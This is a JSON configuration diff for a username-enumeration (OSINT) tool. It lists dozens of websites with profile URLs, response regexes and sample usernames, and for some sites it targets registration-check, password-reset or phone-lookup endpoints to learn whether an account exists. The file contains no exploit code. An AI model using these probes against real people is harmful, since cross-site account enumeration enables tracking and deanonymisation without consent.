[ + { + "type": "username", + "existRegex": "510001", + "url": "https://bbs.qyer.com/qcross/passport/register/mobile/checkname", + "existUsername": "fbird22", + "nonExistUsername": "youga777888", + "body": "username=%s", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" + }, + "userPage": "https://bbs.qyer.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "jandan": { + "url": "http://jandan.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://jandan.net/p/author/%s", + "existUsername": "Diehard", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://jandan.net/p/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ifanr": { + "url": "https://www.ifanr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "共发表了", + "url": "https://www.ifanr.com/author/%s", + "existUsername": "aifan", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.ifanr.com/author/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "twle": { + "url": "https://www.twle.cn/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "Member Not Found", + "existRegex": "加入于", + "url": "https://www.twle.cn/member/%s", + "existUsername": "yufei", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.twle.cn/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "chouti": { + "url": "https://dig.chouti.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "收到进入热榜消息", + "existRegex": "nickSignInAudit", + "url": "https://dig.chouti.com/users/profile?jid=%s", + "existUsername": "meigancai", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://dig.chouti.com/publish/links/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gaoloumi": { + "url": "https://gaoloumi.cc/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "succeed", + "existRegex": "logging", + "url": "https://gaoloumi.cc/forum.php?mod=ajax&inajax=yes&infloat=register&handlekey=register&ajaxmenu=1&action=checkusername&username=%s", + "existUsername": "billy_2009", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://gaoloumi.cc/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "zol": { + "url": "https://my.zol.com.cn/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "user-namebox", + "url": "https://my.zol.com.cn/%s/", + "existUsername": "lo62ir", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://my.zol.com.cn/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "producthunt": { + "url": "https://www.producthunt.com/", + "type": "Programmer", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.producthunt.com/@%s", + "existUsername": "aaronoleary", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.producthunt.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "yystv": { + "url": "https://www.yystv.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "email, phone", + "nonExistRegex": "[20404|20407]", + "url": "https://www.yystv.cn/account/send_forget_passw", + "nonExistUsername": "youga777888", + "body": "name=%s&verify=", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "userPage": "https://www.yystv.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "bilibili": { + "url": "https://www.bilibili.com", + "type": "Video", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:space.bilibili.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ichunqiu": { + "url": "https://www.ichunqiu.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.ichunqiu.com.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "eastmoney": { + "url": "https://www.eastmoney.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:eastmoney.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "threatbook": { + "url": "https://x.threatbook.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:x.threatbook.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "baidu-zhidao": { + "url": "https://zhidao.baidu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:zhidao.baidu.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "baidu-tieba": { + "url": "https://tieba.baidu.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:tieba.baidu.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "anquanke": { + "url": "https://www.anquanke.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.anquanke.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "secpulse": { + "url": "https://www.secpulse.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:www.secpulse.com%%20%%22%s%%22%%20inurl:author" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "xz": { + "url": "https://xz.aliyun.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:xz.aliyun.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "butian": { + "url": "https://forum.butian.net", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:forum.butian.net%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "eastmoney-src": { + "url": "https://security.eastmoney.com", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "google", + "searchUrl": "https://www.google.com/search?q=%s", + "search": "site:security.eastmoney.com%%20%%22%s%%22" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "ywhack": { + "url": "https://forum.ywhack.com/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "用户名已经被他人使用", + "url": "https://forum.ywhack.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username=%s&inajax=1&ajaxtarget=returnmessage4", + "existUsername": "admin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.ywhack.com/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "huoxian": { + "url": "https://zone.huoxian.cn/", + "type": "CyberSecurity", + "isNSFW": false, + "detect": [ + { + "type": "phone", + "existRegex": "true", + "url": "https://6p9ocl.authing.cn/api/v2/users/find?key=%s&type=phone&userPoolId=61dbe991401e129d640b1da6", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "ttps://zone.huoxian.cn/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CN" + } + }, + "3dnews": { + "url": "http://forum.3dnews.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "existRegex": "stats_mini", + "url": "http://forum.3dnews.ru/member.php?username=%s", + "existUsername": "", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://forum.3dnews.ru/member.php?username=%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "7cups": { + "url": "https://www.7cups.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.7cups.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.7cups.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "8tracks": { + "url": "https://8tracks.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "This page has vanished", + "url": "https://8tracks.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://8tracks.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "apclips": { + "url": "https://apclips.com/", + "type": "Video", + "isNSFW": true, + "detect": [ + { + "type": "username", + "nonExistRegex": "Amateur Porn Content Creators", + "url": "https://apclips.com/%s", + "existUsername": "onlybbyraq", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://apclips.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "about-me": { + "url": "https://about.me/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://about.me/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://about.me/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "academia-edu": { + "url": "https://www.academia.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://independent.academia.edu/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://independent.academia.edu/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "airbit": { + "url": "https://airbit.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://airbit.com/%s", + "existUsername": "airbit", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://airbit.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "airliners": { + "url": "https://www.airliners.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.airliners.net/user/%s/profile/photos", + "existUsername": "yushinlin", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.airliners.net/user/%s/profile/photos" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "alik-cz": { + "url": "https://www.alik.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.alik.cz/u/%s", + "existUsername": "julian", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.alik.cz/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "amino": { + "url": "https://aminoapps.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://aminoapps.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://aminoapps.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "anilist": { + "url": "https://anilist.co/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://anilist.co/graphql", + "body": { + "query": "query($id:Int,$name:String){User(id:$id,name:$name){id name previousNames{name updatedAt}avatar{large}bannerImage about isFollowing isFollower donatorTier donatorBadge createdAt moderatorRoles isBlocked bans options{profileColor restrictMessagesToFollowing}mediaListOptions{scoreFormat}statistics{anime{count meanScore standardDeviation minutesWatched episodesWatched genrePreview:genres(limit:10,sort:COUNT_DESC){genre count}}manga{count meanScore standardDeviation chaptersRead volumesRead genrePreview:genres(limit:10,sort:COUNT_DESC){genre count}}}stats{activityHistory{date amount level}}favourites{anime{edges{favouriteOrder node{id type status(version:2)format isAdult bannerImage title{userPreferred}coverImage{large}startDate{year}}}}manga{edges{favouriteOrder node{id type status(version:2)format isAdult bannerImage title{userPreferred}coverImage{large}startDate{year}}}}characters{edges{favouriteOrder node{id name{userPreferred}image{large}}}}staff{edges{favouriteOrder node{id name{userPreferred}image{large}}}}studios{edges{favouriteOrder node{id name}}}}}}", + "variables": { + "name": "%s" + } + }, + "existUsername": "Josh", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", + "Content-Type": "application/json;charset=UTF-8" + }, + "userPage": "https://anilist.co/user/%s/", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "appledeveloper": { + "url": "https://developer.apple.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://developer.apple.com/forums/profile/%s", + "existUsername": "lio24d", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://developer.apple.com/forums/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "artstation": { + "url": "https://www.artstation.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.artstation.com/%s", + "existUsername": "Blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.artstation.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "asciinema": { + "url": "https://asciinema.org", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://asciinema.org/~%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://asciinema.org/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "askfedora": { + "url": "https://ask.fedoraproject.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://ask.fedoraproject.org/u/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://ask.fedoraproject.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "audiojungle": { + "url": "https://audiojungle.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://audiojungle.net/user/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://audiojungle.net/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "autofrage": { + "url": "https://www.autofrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.autofrage.net/nutzer/%s", + "existUsername": "autofrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.autofrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "blip-fm": { + "url": "https://blip.fm/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://blip.fm/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://blip.fm/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bandcamp": { + "url": "https://www.bandcamp.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bandcamp.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bandcamp.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "behance": { + "url": "https://www.behance.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.behance.net/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.behance.net/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bezuzyteczna": { + "url": "https://bezuzyteczna.pl", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://bezuzyteczna.pl/uzytkownicy/%s", + "existUsername": "Jackson", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bezuzyteczna.pl/uzytkownicy/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "PL" + } + }, + "biggerpockets": { + "url": "https://www.biggerpockets.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.biggerpockets.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.biggerpockets.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bikemap": { + "url": "https://www.bikemap.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bikemap.net/en/u/%s/routes/created/", + "existUsername": "bikemap", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bikemap.net/en/u/%s/routes/created/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AT" + } + }, + "biohacking": { + "url": "https://forum.dangerousthings.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.dangerousthings.com/u/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.dangerousthings.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bitbucket": { + "url": "https://bitbucket.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://bitbucket.org/%s/", + "existUsername": "white", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://bitbucket.org/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "AU" + } + }, + "bitwardenforum": { + "url": "https://bitwarden.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.bitwarden.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.bitwarden.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "blogger": { + "url": "https://www.blogger.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.blogspot.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.blogspot.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bongacams": { + "url": "https://pt.bongacams.com", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://pt.bongacams.com/profile/%s", + "existUsername": "asuna-black", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://pt.bongacams.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "bookcrossing": { + "url": "https://www.bookcrossing.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.bookcrossing.com/mybookshelf/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.bookcrossing.com/mybookshelf/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "bravecommunity": { + "url": "https://community.brave.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.brave.com/u/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.brave.com/u/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "buymeacoffee": { + "url": "https://www.buymeacoffee.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://buymeacoff.ee/%s", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://buymeacoff.ee/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "buzzfeed": { + "url": "https://buzzfeed.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://buzzfeed.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://buzzfeed.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "cnet": { + "url": "https://www.cnet.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.cnet.com/profiles/%s/", + "existUsername": "blue", + "nonExistUsername": 